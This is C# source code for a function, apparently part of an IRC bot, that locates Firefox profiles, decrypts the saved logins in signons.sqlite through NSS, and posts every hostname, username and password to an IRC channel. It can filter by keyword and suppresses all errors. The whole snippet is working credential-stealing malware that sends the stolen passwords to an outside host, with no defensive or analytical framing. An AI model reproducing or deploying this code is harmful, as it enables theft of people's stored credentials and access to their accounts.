public static void GetLoginData(string keyword) { string profilesPath = Environment.GetEnvironmentVariable("APPDATA") + @"\Mozilla\Firefox\Profiles"; try { foreach (string dir in Directory.GetDirectories(profilesPath)) { string signonsFile = Path.Combine(dir, "signons.sqlite"); if (File.Exists(signonsFile)) { Console.WriteLine("Found: " + signonsFile); NSS_Init(dir); PK11_Authenticate(PK11_GetInternalKeySlot(), true, 0); SQLiteHandler.SQLiteHandler sqlite = new SQLiteHandler.SQLiteHandler(signonsFile); sqlite.ReadTable("moz_logins"); // 0 1 2 3 4 5 6 7 8 9 // moz_logins (id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword, guid, encType) int rowCount = sqlite.GetRowCount(); for (int i = 0; i < rowCount; i++) { string hostName = sqlite.GetValue(i, 1); string username = DecryptData(sqlite.GetValue(i, 6)); string password = DecryptData(sqlite.GetValue(i, 7)); if (username != null && password != null) { if (String.IsNullOrEmpty(keyword)) { IRC.WriteMessage("Firefox ->" + IRC.ColorCode(" " + hostName) + " ->" + IRC.ColorCode(" " + username) + " :" + IRC.ColorCode(" " + password), Config._mainChannel()); } else if (hostName.Contains(keyword)) { IRC.WriteMessage("Firefox ->" + IRC.ColorCode(" " + hostName) + " ->" + IRC.ColorCode(" " + username) + " :" + IRC.ColorCode(" " + password), Config._mainChannel()); } } } } } } catch { } }